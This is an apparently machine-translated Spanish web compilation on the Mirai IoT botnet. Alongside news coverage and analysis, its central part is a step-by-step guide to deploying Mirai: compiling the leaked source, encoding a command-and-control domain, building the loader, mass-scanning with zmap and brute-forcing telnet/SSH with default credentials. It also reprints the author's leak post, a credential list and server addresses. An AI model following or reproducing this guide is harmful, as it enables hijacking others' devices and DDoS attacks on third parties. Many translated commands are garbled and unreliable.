Código fuente de Mirai. Instalación y configuración de la botnet Mirai. Principio de funcionamiento de Mirai

En esencia, Mirai funciona de manera simple: escanea Internet en busca de dispositivos IoT accesibles a través de telnet que sean vulnerables a la fuerza bruta y la piratería. El malware ataca principalmente a cámaras de vigilancia, DVR y enrutadores, y luego continúa multiplicándose como un gusano.

De los ataques DDoS llevados a cabo por esta botnet recientemente y la más grande de Europa. La potencia máxima de ataque alcanzó los 620 Gbit/s y más de 1 Tb/s. Para lograr estos resultados, los atacantes utilizaron inundaciones UDP, DNS y HTTP, así como paquetes GRE (Generic Routing Encapsulation), que los expertos consideraron muy inusuales.

Las conclusiones de los especialistas de MalwareTech coinciden en general con estas observaciones. Así, durante un período de doce horas, los investigadores registraron alrededor de 72.000 direcciones IP únicas y aparecían 4.000 nuevas IP cada hora. A partir de esto, los analistas concluyeron que el tamaño de la botnet es muy modesto: sólo unos 120.000 dispositivos por día. Y aunque la botnet es mucho más grande y las cifras rondan entre 1 y 1,5 millones de bots, ni los investigadores de MalwareTech ni los especialistas de Akamai están de acuerdo con esto.

"Mirai, que anteriormente era en gran medida ignorado debido a la simplicidad de los ataques de Telnet, se convirtió la semana pasada en un importante tema de discusión en los medios de todo el mundo, y las agencias de aplicación de la ley iniciaron investigaciones, con el apoyo de muchas empresas internacionales", escriben los investigadores. . “Es muy probable que los potentes ataques DDoS se conviertan ahora en una práctica más común a medida que los piratas informáticos encuentren dispositivos IoT cada vez más vulnerables o comiencen a infectar dispositivos protegidos por NAT. Definitivamente es hora de que los fabricantes dejen de lanzar dispositivos con contraseñas globales de forma predeterminada y pasen a lanzar dispositivos con contraseñas generadas aleatoriamente en la parte inferior de la carcasa".

Además del informe, los investigadores de MalwareTech han incluido un vídeo que muestra un mapa de infecciones de Mirai (ver más abajo). También en el sitio web de los investigadores se puede encontrar un mapa interactivo de la botnet, que se actualiza en tiempo real.

Necesitaremos dos servidores VPS KVM y un dominio. La virtualización es KVM, esta vez falta OpenVZ.

Tomo los servidores aquí -

Instalaremos la botnet en un servidor y escanearemos los bots en el segundo. (brutal)

IMPORTANTE. Los servidores deben estar basados ​​en Debian 8 y tener al menos 1 GB de RAM.

Cualquier dominio, no importa.

Lo siento, por supuesto, pero no te diré cómo adjuntar un dominio a un VPS. No es difícil, lo descubrirás tú mismo.

Masilla y comencemos.

# apt-obtener actualización -y

# apt-obtener actualización -y

# apt-get install descomprimir gcc golang pantalla de cerca eléctrica sudo git -y

# apt-get install mysql-server -y

# apt-get install mysql-client -y

# apt-get instalar apache2 -y

Al instalar MySQL, necesitará crear una contraseña para acceder a MySQL para el usuario root. Te saldrá una contraseña normal, sin ningún tipo de “qwerty”

Escríbalo en alguna parte, lo necesitaremos nuevamente.

# sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y

#intento< <(curl -s -S -L

Debes estar registrado para ver los enlaces.

)

# gvm instala go1.4

# gvm usa go1.4 [--default]

# gvm instala go1.4 -B

# gvm usa go1.4

# exportar GOROOT_BOOTSTRAP=$GOROOT

# gvm instala go1.5

# gvm usa go1.5

# gvm instala go1.8

# gvm usa go1.8

Después de instalar todas las utilidades, descargue las fuentes del bot.

Debes estar registrado para ver los enlaces.

Y subirlo al servidor. Equipo obtener, o simplemente a través del programa WinSCP.

# descomprimir Mirai-Source-Code-master.zip

# cd Mirai-Código-fuente-Master/mirai/tools

# gcc enc.c -o enc

# ./enc cadena *******(escribimos nuestro dominio, que está adjunto al servidor) y pulsamos Enter.

Aqui vera el siguiente texto:

XOR"ing 14 bytes de datos...

\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22

14 - aquí tendrás un número diferente, así que no te preocupes, todo está correcto.

Copiamos todo este texto.

Abrir mediante nano editor o mediante WinSCP archivo tabla.c que esta en la carpeta mirai/bot

Debes ver esto -

Debes estar registrado para ver los enlaces.

Línea agregar_entrada(TABLE_CNC_DOMAIN- cambie todo entre comillas al texto que acaba de copiar. En lugar de " 30 " Escribimos nuestro número, que también acabamos de copiar. Hacemos lo mismo con la línea. agregar_entrada(TABLE_SCAN_CB_DOMAIN

Guarde y cierre el editor.

Abra el archivo con un editor. mirai/cnc/main.go

Vemos esto -

Debes estar registrado para ver los enlaces.

"127.0.0.1" cambiar a "127.0.0.1:3306"

"contraseña" Cambiamos la contraseña que introdujimos anteriormente a nuestro MySQL. "

Guarde el archivo y cierre el editor.

Simplemente copia toda esta basura, no te diré por qué es necesaria.

# mkdir /etc/xcompile

# CD /etc/xcompile

#wget

Debes estar registrado para ver los enlaces.

#wget

Debes estar registrado para ver los enlaces.

#wget

Debes estar registrado para ver los enlaces.

#wget

Debes estar registrado para ver los enlaces.

#wget

Debes estar registrado para ver los enlaces.

#wget

Debes estar registrado para ver los enlaces.

#wget

Debes estar registrado para ver los enlaces.

#wget

Debes estar registrado para ver los enlaces.

#wget

Debes estar registrado para ver los enlaces.

# tar -jxf compilador cruzado-armv4l.tar.bz2

# tar -jxf compilador cruzado-i586.tar.bz2

# tar -jxf compilador cruzado-m68k.tar.bz2

# tar -jxf compilador cruzado-mips.tar.bz2

# tar -jxf compilador cruzado-mipsel.tar.bz2

# tar -jxf compilador cruzado-powerpc.tar.bz2

# tar -jxf compilador cruzado-sh4.tar.bz2

# tar -jxf compilador cruzado-sparc.tar.bz2

# tar -jxf compilador cruzado-armv6l.tar.bz2

#rm*.tar.bz2

# mv compilador cruzado-armv4l armv4l

# mv compilador cruzado-i586 i586

#mv compilador cruzado-m68k m68k

# mv compilador cruzado-mips mips

# mv compilador cruzado-mipsel mipsel

# mv compilador cruzado-powerpc powerpc

# mv compilador cruzado-sh4 sh4

# mv compilador cruzado-sparc sparc

# mv compilador cruzado-armv6l armv6l

# exportar RUTA=$RUTA:/etc/xcompile/armv4l/bin

# exportar RUTA=$RUTA:/etc/xcompile/i586/bin

# exportar RUTA=$RUTA:/etc/xcompile/m68k/bin

# exportar RUTA=$RUTA:/etc/xcompile/mips/bin

# exportar RUTA=$RUTA:/etc/xcompile/mipsel/bin

# exportar RUTA=$RUTA:/etc/xcompile/powerpc/bin

# exportar RUTA=$RUTA:/etc/xcompile/powerpc-440fp/bin

# exportar RUTA=$RUTA:/etc/xcompile/sh4/bin

# exportar RUTA=$RUTA:/etc/xcompile/sparc/bin

# exportar RUTA=$RUTA:/etc/xcompile/armv6l/bin

# exportar RUTA=$RUTA:/usr/local/go/bin

# exportar GOPATH=$HOME/Documentos/go

# ve a github.com/go-sql-driver/mysql

# ve a github.com/mattn/go-shellwords

# cd Mirai-Código-fuente-master/mirai

# ./build.sh depurar telnet

# ./build.sh lanza telnet

# mv mirai* /var/www/html

# CD /var/www/html

#mkdirbins

#mv*contenedores/

Ahora MySQL.

# mysql -u raíz -p

Aquí se le pedirá una contraseña. Ingrese la contraseña que estableció previamente.

# crear base de datos mirai;

# usa mirai

Ahora copia todo el texto de aquí.

Debes estar registrado para ver los enlaces.

Pégalo y presiona Enter.

Copie el texto de aquí -

Debes estar registrado para ver los enlaces.

En lugar de anna-senpai escriba su nombre de usuario. Cualquier. Lo mismo ocurre con mi increíble contraseña. Necesitaremos estos datos para acceder al panel de control del bot.

Debería ser así - INSERTAR EN LOS VALORES de los usuarios (NULL, "pizdec", "zaebalsjapisatj", 0, 0, 0, 0, -1, 1, 30, "");

Copie, pegue, presione Entrar.

Ahora puedes salir.

Esta casi terminado.

# cd Mirai-Código-fuente-master/mirai/release

# toque el mensaje.txt

# pantalla ./cnc

Debes ver la inscripción. Base de datos MySQL abierta

No cerramos esta sesión, abrimos una nueva.

Debes estar registrado para ver los enlaces.

En lugar de *******, escribe tu dominio y haz clic en Abrir.

Ingrese su nombre de usuario y contraseña, en mi caso es -

zaebalsjapisatj

Todo, estamos en el panel de control del bot.

Ahora necesitamos robots. Aquí todo es sencillo, no se necesitan instalaciones.

Configuremos el cargador.

Se necesita un cargador para poder agregar bots desde archivos de texto. Digamos que hemos creado un montón de dispositivos (enrutadores, cámaras, teléfonos) y para agregarlos al bot, necesitamos un cargador.

También el cargador es un "gusano".

Conéctese a nuestro servidor a través de PuTTY y WinSCP.

Usando WinSCP encontramos el archivo C Principal en carpeta Código-fuente-mirai-master/dlr

Escribimos la IP de nuestro servidor como en la captura de pantalla -

Debes estar registrado para ver los enlaces.

Dejamos las comas, así debe ser. Guardar y cerrar.

Ahora con PyTTY vaya a nuestro servidor y escriba -

# cd Mirai-Código-fuente-master/dlr

#chmod777*

# ./build.sh

# lanzamiento del CD

# mv dlr* ~/Mirai-Source-Code-master/loader/bins

ahora abramos WinSCP y encuentra el archivo C Principal en carpeta Código-fuente-mirai-master/loader/src

Lo cambiamos a nuestra IP como en la captura de pantalla -

Debes estar registrado para ver los enlaces.

Guardar y cerrar.

A través de Masilla -

# ./build.sh

Mediante el uso WinSCP abre el archivo scanListen.go que se puede encontrar en la carpeta Código-fuente-mirai-master/mirai/tools

Cambie la IP de su servidor -

Debes estar registrado para ver los enlaces.

Luego con PyTTY -

# cd Mirai-Código-fuente-master/mirai/tools

# ir a construir scanListen.go

Ahora tenemos un nuevo archivo - escanearEscuchar(sin .ir, Justo escanearEscuchar)

escanearEscuchar necesita ser movido a una carpeta Mirai-Source-Code-master/cargador

solo con ayuda WinSCP ponerlo en una carpeta cargador

Ahora comprobemos si todo funciona.

# ./cargador

Si ve lo que hay en la pantalla, entonces todo está correcto.

Debes estar registrado para ver los enlaces.

Si ocurren errores, escriba al tema, lo ayudaré.

Para descargar bots de la lista, suelte el archivo de texto en la carpeta cargador y escribe el comando -

# lista de gatos.txt | ./cargador

Eso es todo, todos los bots que hayas reclutado estarán contigo y bloquearán los sitios a tus órdenes.

Yo personalmente no he usado este método, encontré una manera más fácil.

Aquí necesitamos un segundo servidor. También en Debian8.

# apt-obtener actualización -y

# apt-obtener actualización -y

# apt-get install python-paramiko -y

# apt-get install zmap -y

zmap lo necesitamos para escanear puertos. El principio de funcionamiento es el mismo que KPortScan, sólo 50 veces más rápido.

Copie todo el código desde aquí -

Debes estar registrado para ver los enlaces.

y guardar como escanear.py

Aquí puede agregar sus contraseñas e inicios de sesión:

Debes estar registrado para ver los enlaces.

Cadena combinación¡no toques!

Aquí debe registrar la IP del servidor en el que se encuentra el bot:

Debes estar registrado para ver los enlaces.

Cambiamos todo y lo guardamos.

Colocamos el archivo scan.py en cualquier lugar de nuestro servidor. En el segundo servidor, que es puramente para escanear, aquel en el que no tocamos el bot.

Necesitamos IP que escanearemos.

#zmap -p22 -o lista.txt -B 100M(puedes escanear otros puertos, yo siempre escaneé 22 o 23)

Todos los resultados estarán en el archivo. lista.txt

Después de recopilar el archivo IP (cuanto más, mejor) lista.txt tíralo al lado del archivo escanear.py y escribe -

# python scan.py lista.txt 500

Eso es todo, nos sentamos y observamos cómo crece nuestra botnet.

Cuando haya al menos 200 bots, puedes iniciar el cargador.

Para hacer esto, vaya al servidor donde está instalada la botnet y -

# cd Mirai-Código-fuente-master/loader

# ulimit -n 9999999

# ./scanListen | ./cargador

Ahora el bot funcionará como un "gusano" y acabará con más bots.

La semana pasada se filtró en Internet el código fuente de los componentes de la botnet Mirai, utilizada en ataques DDoS sin precedentes con una capacidad de hasta 1 Tb/s.

Arte. 273 del Código Penal de la Federación de Rusia. Creación, uso y distribución de programas informáticos maliciosos.

1. Creación, distribución o uso de programas informáticos u otra información informática, destinados conscientemente a la destrucción, bloqueo, modificación, copia no autorizados de información informática o neutralización de medios de protección de información informática, -

será castigado con restricción de libertad por un período de hasta cuatro años, o trabajo forzoso por un período de hasta cuatro años, o pena de prisión por el mismo período con multa de hasta doscientos mil rublos o en el importe del salario u otros ingresos del condenado por un período de hasta dieciocho meses.

2. Los actos previstos en el inciso uno de este artículo, cometidos por un grupo de personas mediante conspiración previa o por un grupo organizado o por una persona en uso de su cargo oficial, así como los que hayan causado daño importante o hayan sido cometidos por interés egoísta. , -

será castigado con restricción de libertad por un período de hasta cuatro años, o trabajo forzoso por un período de hasta cinco años con privación del derecho a ocupar determinados cargos o realizar determinadas actividades por un período de hasta tres años o sin él, o pena de prisión de hasta cinco años con multa de cien mil a doscientos mil rublos o por el importe del salario u otros ingresos del condenado por un período de dos a tres años o sin él, y con o sin privación del derecho a ocupar determinados cargos o realizar determinadas actividades por un período de hasta tres años.

3. Los actos previstos en las partes uno o dos de este artículo, si entrañaron consecuencias graves o crearon una amenaza de ocurrencia, -

será castigado con pena privativa de libertad de hasta siete años.

Esta botnet se compone principalmente de cámaras, dispositivos DVR, etc.

La infección se produce de forma muy sencilla: se analiza Internet en busca de puertos 80/23 (web/telnet) abiertos y se seleccionan cuentas codificadas.

Pocos usuarios cambian las contraseñas de sus cuentas integradas (si es posible), por lo que la botnet se repone constantemente con nuevos dispositivos. Si puede cambiar la contraseña de la interfaz web mientras está en ella, entonces la contraseña y la presencia misma de acceso telnet simplemente eluden a muchos usuarios.

Las cuentas más utilizadas son:

habilitar: sistema
cáscara: sh
administrador: administrador
raíz:xc3511
raíz:vizxv
raíz: administrador
raíz:xmhdipc
raíz: 123456
raíz: 888888
soporte soporte
raíz: 54321
raíz: juantech
raíz: anko
raíz: 12345
administración:
raíz:predeterminado
clave de administrador
raíz: raíz
raíz:
usuario:usuario
administrador: smcadmin
raíz: pasar
administrador:admin1234
raíz: 1111
invitado: 12345
raíz: 1234
raíz:contraseña
raíz: 666666
administrador:1111
servicio:servicio
sistema raíz
supervisor:supervisor
raíz:klv1234
administrador:1234
raíz:ikwb
raíz:Zte521

Después de obtener acceso, el centro de comando recibe una notificación binaria sobre la presencia de un nuevo bot:

4a 9a d1 d1 = XXX.XXX.XXX.XXX (la dirección del host estaba aquí)
05 = Pestaña
17 = 23 (Puerto 23 Telnet)
05 = Pestaña
61 64 6d 69 6e = nombre de usuario:admin administrador
05= Pestaña
61 64 6d 69 6e = contraseña de usuario: admin

Los componentes de la botnet están diseñados para funcionar en diferentes entornos, como lo demuestran los ejemplos identificados:

mirai.brazo
mirai.arm7
mirai.mips
mirai.ppc
mirai.sh4

Los servidores de comando se encuentran actualmente en las siguientes direcciones:

103.1.210.27
103.1.210.28
185.130.225.65
185.130.225.66
185.130.225.83
185.130.225.90
185.130.225.94
185.130.225.95
185.70.105.161
185.70.105.164
185.93.185.11
185.93.185.12
200.170.143.5
46.249.38.145
46.249.38.146
46.249.38.148
46.249.38.149
46.249.38.150
46.249.38.151
46.249.38.152
46.249.38.153
46.249.38.154
46.249.38.155
46.249.38.159
46.249.38.160
46.249.38.161
80.87.205.10
80.87.205.11

Las instrucciones para crear una botnet son bastante simples, aquí están tal como están (fuente http://pastebin.com/E90i6yBB):

Hola a todos,

Cuando entré por primera vez en la industria DDoS, no planeaba permanecer en ella por mucho tiempo. Gané mi dinero, hay muchos ojos mirando a IOT ahora, así que es hora de GTFO. Sin embargo, conozco cada patinazo y su mamá, su sueño húmedo es tener algo además de qbot.

Así que hoy tengo un lanzamiento increíble para ustedes. Con Mirai, normalmente extraigo un máximo de 380.000 bots solo desde telnet. Sin embargo, después del DDoS de Kreb, los ISP fueron cerrando lentamente y limpiando sus actividades. Hoy en día, la atracción máxima es de unos 300.000 bots y está disminuyendo.

Entonces, soy tu senpai y te trataré muy bien, mi hf-chan.

Y para todos los que pensaron que estaban haciendo algo al presionar mi CNC, me reí mucho, este robot usa un dominio para CNC. Todos los bots tardan 60 segundos en volver a conectarse, jajaja

Además, agradezca esta publicación de blog de malwaremustdie
http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html<- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol
Te tenía mucho respeto, pensé que eras un buen inversor, pero en realidad fracasaste total y totalmente en revertir este binario. "Todavía tenemos mejor kung fu que ustedes, niños", no me hagan reír, por favor, cometieron muchos errores e incluso confundieron algunos binarios diferentes con los míos. JAJAJA

Déjame devolverte algunas bofetadas.
1) el puerto 48101 no es para conexión posterior, es para control para evitar que varias instancias de bot se ejecuten juntas
2) /dev/watchdog y /dev/misc no son para "realizar el retraso", sino para evitar que el sistema se cuelgue. Esta es una fruta madura, es muy triste que seas extremadamente tonto.
3) Fallaste y pensaste que FAKE_CNC_ADDR y FAKE_CNC_PORT eran CNC reales, jajaja "Y haciendo la puerta trasera para conectarte a través de HTTP en 65.222.202.53". te tropezó con el flujo de señal;) esfuérzate más en patinar
4) Su herramienta esquelética apesta, pensó que el decodificador de ataque era “estilo sinden”, pero ¿ni siquiera utiliza un protocolo basado en texto? CNC y bot se comunican a través de protocolo binario
5) dices "chroot("/") tan predecible como torlus pero no lo entiendes, algunos otros matan basándose en cwd. Muestra lo alejado que estás del malware real. volver a skidland

¿Por qué estás escribiendo herramientas de ingeniería inversa? En primer lugar, ni siquiera puedes invertir correctamente. Primero aprenda algunas habilidades antes de intentar impresionar a los demás. Tu arrogancia al declarar cómo “me venciste” con tu tonta declaración de kung-fu me hizo reír tanto mientras comía que mi SO tuvo que darme una palmadita en la espalda.

Así como yo seré libre para siempre, tú estarás condenado a la mediocracia para siempre.

Requisitos
2 servidores: 1 para CNC + mysql, 1 para receptor de escaneo y 1+ para carga

Requisitos del OP
2 VPS y 4 servidores
— 1 VPS con host extremadamente resistente para servidor de base de datos
— 1 VPS, rootkitted, para scanReceiver y distribuidor
— 1 servidor para CNC (usado como 2% de CPU con 400k bots)
— 3 servidores NForce de 10 gbps para carga (el distribuidor distribuye a 3 servidores por igual)

— Para establecer una conexión con el CNC, los robots resuelven un dominio (resolv.c/resolv.h) y se conectan a esa dirección IP
— Los bots utilizan telnet bruto utilizando un escáner SYN avanzado que es aproximadamente 80 veces más rápido que el de qbot y utiliza casi 20 veces menos recursos. Al encontrar un resultado bruto, el bot resuelve otro dominio y lo reporta. Esto está encadenado a un servidor separado para cargar automáticamente en los dispositivos a medida que llegan los resultados.
— Los resultados brutos se envían de forma predeterminada en el puerto 48101. La utilidad llamada scanListen.go en las herramientas se utiliza para recibir resultados brutos (obtuve alrededor de 500 resultados brutos por segundo en el pico). Si compila en modo de depuración, debería ver aparecer la utilidad scanListen binario en la carpeta de depuración.

Mirai utiliza un mecanismo de difusión similar a la autorrepresentación, pero lo que yo llamo "carga en tiempo real". Básicamente, los bots obtienen resultados brutos, los envían a un servidor que escucha con la utilidad scanListen, que envía los resultados al cargador. Este bucle (bruto -> scanListen -> cargar -> bruto) se conoce como carga en tiempo real.

El cargador se puede configurar para usar varias direcciones IP para evitar el agotamiento de los puertos en Linux (hay un número limitado de puertos disponibles, lo que significa que no hay suficiente variación en la tupla para obtener más de 65 000 conexiones salientes simultáneas; en teoría, este valor es mucho). menos). Tendría quizás entre 60.000 y 70.000 conexiones salientes simultáneas (carga simultánea) distribuidas en 5 IP.
El bot tiene varias opciones de configuración que están ofuscadas en (table.c/table.h). En ./mirai/bot/table.h puede Encuentre la mayoría de las descripciones de las opciones de configuración. Sin embargo, en ./mirai/bot/table.c hay algunas opciones que *necesitas* cambiar para comenzar a trabajar.

— TABLE_CNC_DOMAIN — Nombre de dominio del CNC al que conectarme — Evitar DDoS es muy divertido con mirai, la gente intenta acceder a mi CNC pero lo actualizo más rápido de lo que pueden encontrar nuevas IP, jajaja. Retrasados ​​:)
— TABLE_CNC_PORT — Puerto al que conectarse, ya está configurado en 23
— TABLE_SCAN_CB_DOMAIN — Cuando se encuentran resultados brutos, se informa a este dominio
— TABLE_SCAN_CB_PORT: puerto al que conectarse para obtener resultados brutos; ya está configurado en 48101.

En ./mirai/tools encontrará algo llamado enc.c. Debe compilar esto para generar elementos que colocar en el archivo table.c.

Ejecutar dentro de este directorio mirai

./build.sh depurar telnet

Recibirá algunos errores relacionados con la falta de compiladores cruzados si no los ha configurado. Esto está bien, no afectará la compilación de la herramienta enc.

Ahora, en la carpeta ./mirai/debug deberías ver un binario compilado llamado enc. Por ejemplo, para obtener una cadena ofuscada para el nombre de dominio al que se pueden conectar los bots, use esto:

./debug/enc cadena joder.the.police.com
La salida debería verse así

XOR haciendo 20 bytes de datos...
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
Para actualizar el valor TABLE_CNC_DOMAIN, por ejemplo, reemplace esa larga cadena hexadecimal con la proporcionada por la herramienta enc. Además, verá "XORing 20 bytes de datos". Este valor también debe reemplazar el último argumento. Entonces, por ejemplo, la línea table.c originalmente se ve así
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); //cnc.changeme.com
Ahora que conocemos el valor de la herramienta enc, la actualizamos así

add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22″, 20); //joder.la.policia.com
Algunos valores son cadenas, otros son puertos (uint16 en orden de red/big endian).
CONFIGURAR EL CNC:
apt-get instalar servidor-mysql cliente-mysql

El CNC requiere una base de datos para funcionar. Cuando instale la base de datos, acceda a ella y ejecute los siguientes comandos:
http://pastebin.com/86d0iL9g

Esto creará una base de datos para usted. Para agregar su usuario,

INSERTAR EN LOS VALORES de los usuarios (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, ");
Ahora, vaya al archivo ./mirai/cnc/main.go

Editar estos valores
cadena const DatabaseAddr = "127.0.0.1"
const Cadena de usuario de base de datos = "raíz"
const DatabasePass cadena = "contraseña"
const DatabaseTable cadena = "mirai"
A la información para el servidor mysql acabas de instalar

Los compiladores cruzados son fáciles; siga las instrucciones de este enlace para configurarlos. Debe reiniciar su sistema o recargar el archivo .bashrc para que estos cambios surtan efecto.

http://pastebin.com/1rRCc3aD
El CNC, el bot y las herramientas relacionadas:
http://dopefile.pk/a9f2n9ewk8om
Cómo construir bot + CNC
En la carpeta mirai, hay el script build.sh.
./build.sh depurar telnet

Generará archivos binarios de depuración del bot que no se demonizarán e imprimirá información sobre si puede conectarse al CNC, etc., estado de las inundaciones, etc. Se compila en la carpeta ./mirai/debug
./build.sh lanza telnet

Generará binarios de bot listos para producción que son extremadamente sencillos y pequeños (alrededor de 60 KB) que deben cargarse en los dispositivos. Compila todos los archivos binarios en formato: “mirai.$ARCH” en la carpeta ./mirai/release

El cargador lee las entradas de telnet de STDIN en el siguiente formato:
ip:puerto usuario:contraseña
Detecta si hay wget o tftp e intenta descargar el binario usando eso. De lo contrario, cargará un pequeño binario (aproximadamente 1 kb) que será suficiente como wget.
./build.sh

Construirá el cargador, optimizado, uso en producción, sin problemas. Si tiene un archivo en los formatos utilizados para cargar, puede hacer esto
archivo gato.txt | ./cargador
¡Recuerda limitar!

Para que quede claro, no proporcionaré ningún tipo de tutoriales de ayuda personalizados ni nada parecido, es demasiado tiempo. Se incluyen todos los scripts y todo lo necesario para configurar una botnet que funcione en menos de 1 hora. Estoy dispuesto a ayudar si tiene preguntas individuales (¿cómo es que el CNC no se conecta a la base de datos? Hice esto, bla, bla), pero no preguntas como "Mi bot no se conecta, arréglelo".

Este es el troyano sobre el que todo el mundo ha estado escribiendo durante las últimas semanas. Entre los logros más impresionantes de las botnets creadas con su ayuda se encuentra una capacidad de más de un terabit y en un pequeño país africano.

¿Cuántas computadoras esclavizó para esto?

De nada. O al menos muy poco. Los dispositivos objetivo de Mirai no son ordenadores, sino dispositivos IoT: grabadoras de vídeo, cámaras, tostadoras... Según las estadísticas de Level 3 Communications, a finales de octubre alrededor de medio millón de dispositivos ya estaban bajo el control del troyano.

¿Y qué, puede agarrar cámaras con refrigeradores?

No precisamente. Mirai está diseñado para dispositivos que ejecutan Busybox, un conjunto simplificado de utilidades UNIX. línea de comando, que se utiliza como interfaz principal en integrado sistemas operativos. El troyano sólo ataca determinadas plataformas, como ARM, ARM7, MIPS, PPC, SH4, SPARC y x86. Solo están en riesgo los dispositivos con configuración de fábrica o protección muy débil: la infección se produce mediante un ataque de fuerza bruta al puerto Telnet, para el cual se utiliza la lista predeterminada de credenciales de administrador.

De alguna manera es ineficaz buscar en Internet cámaras sin contraseña, ¿no es así?

Pero no acertaron. Un periodista de The Atlantic alquiló un servidor y escribió un programa que simula ser una tostadora. ¡El primer ataque a un “electrodoméstico” se produjo después de 40 minutos! Durante las siguientes 11 horas, la tostadora fue pirateada más de 300 veces. El hecho es que las botnets han alcanzado tamaños sin precedentes y el espacio de direcciones IPv4 para ellas es muy pequeño. Además, vale la pena recordar que los piratas informáticos no buscan dispositivos vulnerables manualmente; esto lo hacen los miembros de la botnet. Y, dado que cada “empleado” recién convertido también comienza a buscar víctimas, la botnet crece exponencialmente.

¿Geométricamente? Entonces, ¿en un año las botnets contendrán billones de dispositivos?

Por supuesto que no 😀 El hecho es que la cantidad de dispositivos IoT es finita. Y éste ya es un problema bastante acuciante. El autor de Mirai admite que el número máximo de dispositivos en su red era de 380 mil, y después de varios ataques, cuando usuarios y proveedores comenzaron a tomar medidas de protección, el número de dispositivos cayó a 300 mil y continúa disminuyendo.

Después de que el código fuente de Mirai se hizo público, muchos piratas informáticos comenzaron a utilizarlo. Actualmente, el número de grandes botnets basados ​​en este troyano es de aproximadamente 52. Vale la pena aclarar que cada dispositivo sólo puede pertenecer a una red; inmediatamente después de capturar un dispositivo, el malware lo protege de una reinfección. El único caso en el que un dispositivo se puede transferir a otro "propietario" es cuando se reinicia el dispositivo. Según los expertos, tras reiniciar el dispositivo se vuelve a infectar en 30 segundos.

¿Entonces la eficacia de Mirai está disminuyendo?

Sí. Los piratas informáticos se ven obligados a luchar por una cantidad limitada de recursos, que están disminuyendo (debido a las precauciones) en lugar de crecer. La situación se complica aún más por el hecho de que los piratas informáticos son extremadamente egoístas; por ejemplo, después de que un importante servidor de comando y control (C&C) de la botnet fue simplemente apagado, ahora la botnet resultó ser inútil e invulnerable a nuevos ataques. Cada nueva red Basado en Mirai será más pequeño que los anteriores y sólo podrá realizar ataques de baja potencia. Por ejemplo, durante las elecciones estadounidenses se llevaron a cabo ataques débiles contra los sitios web de Clinton y Trump. No causaron ningún daño y nadie los notó (excepto la empresa que monitorea específicamente las acciones de este troyano).

Está vacío. ¿Qué más información interesante se sabe sobre este troyano?

Es el sucesor de otro troyano conocido con los nombres Gafgyt, Lizkebab, BASHLITE, Bash0day, Bashdoor y Torlus. Este último es conocido por ser capaz de subyugar alrededor de un millón de cámaras web, según el mismo Level 3 Communications. También se sabe que la mayoría de las botnets no utilizan una copia pura de Mirai, sino sus propias versiones modificadas (lo cual es bastante esperado).

Otro dato interesante es que los usuarios de RuNet encontraron en código fuente Seguimiento de Mirai en ruso: en el archivo cnc/admin.go hay una salida de comentarios en ruso:

cnc/admin.go: this.conn.Write(byte(“\033))

Por otro lado, parece más bien una broma: “revisar las cuentas...” es una copia obvia (¿traducción automática?) de “cuentas corrientes”.

El mes pasado hubo ataques a sitios grandes como Gorjeo o Spotify, que los deshabilitó temporalmente. Para esto se utilizó una botnet. mirai, uniendo entre 400 y 500 mil dispositivos de Internet de las cosas. Ahora los periodistas de Placa base se enteraron de que dos piratas informáticos lograron tomar el control de la botnet y crear una nueva versión de ella, que ya une un millón de dispositivos. Los suscriptores del proveedor alemán han experimentado su poder Deutsche Telekom, cuya red estuvo caída el fin de semana pasado.

A la caza de Mirai

Los periodistas lograron hablar con uno de estos dos misteriosos piratas informáticos: utiliza el sobrenombre de BestBuy. En un chat encriptado en línea, les dijo que había una verdadera lucha entre los piratas informáticos por el control de Mirai. Recientemente se descubrió una vulnerabilidad en su software. Su uso, junto con su velocidad, podría permitir a BestBuy y a su socio Popopret tomar el control de la mayor parte de la botnet y agregarle nuevos dispositivos.

Anteriormente, nuestros expertos estudiaron el código de la botnet Mirai y resultó que no fue creado específicamente para dispositivos de Internet de las cosas. El software malicioso busca dispositivos conectados a la red con nombres de usuario y contraseñas predeterminados (admin:admin, root:contraseña, etc.). Esto significa que, en teoría, puede incluir cualquier dispositivo, incluidos ordenadores domésticos y servidores o enrutadores.

dispositivos de iot- generalmente enrutadores - incluidos en Red de bots Mirai hasta que se reinicia, entonces el gusano se borra de su memoria. Sin embargo, la botnet escanea constantemente Internet en busca de dispositivos vulnerables, de modo que un dispositivo "curado" pueda volver a formar parte rápidamente de ella. Existe una verdadera carrera entre los piratas informáticos por ser los primeros en infectar tantos dispositivos como sea posible.

No hay información sobre cómo los creadores del nuevo Mirai logran superar a sus competidores. Sin embargo, dijeron a los periodistas que utilizan su propia botnet para escanear dispositivos potencialmente vulnerables, incluidos aquellos que anteriormente formaban parte de la botnet.

"¿Por qué no hacer que el Mirai cace al Mirai y devore el original?", dice BestBuy.

No sólo Mirai

Sin embargo, la nueva botnet no sólo absorbió los viejos dispositivos Mirai y los nuevos con contraseñas predeterminadas. Sus creadores también utilizan vulnerabilidades de día 0 en el firmware de los dispositivos IoT. Los expertos predijeron anteriormente la inminente aparición de este tipo de botnets "combinadas".

La lucha contra ellos se vuelve notablemente más complicada: si para contrarrestar a Mirai, el usuario del dispositivo final solo necesita cambiar el nombre de usuario y la contraseña para acceder a él, entonces no podrá hacer frente a las vulnerabilidades del dispositivo por sí solo. .

DDoS a 700 Gbps

Los piratas informáticos BestBuy y Popopret han comenzado a anunciar sus servicios: ofrecen acceso a sus nueva versión Mirai, enviando mensajes spam vía XMPP/Jabber,

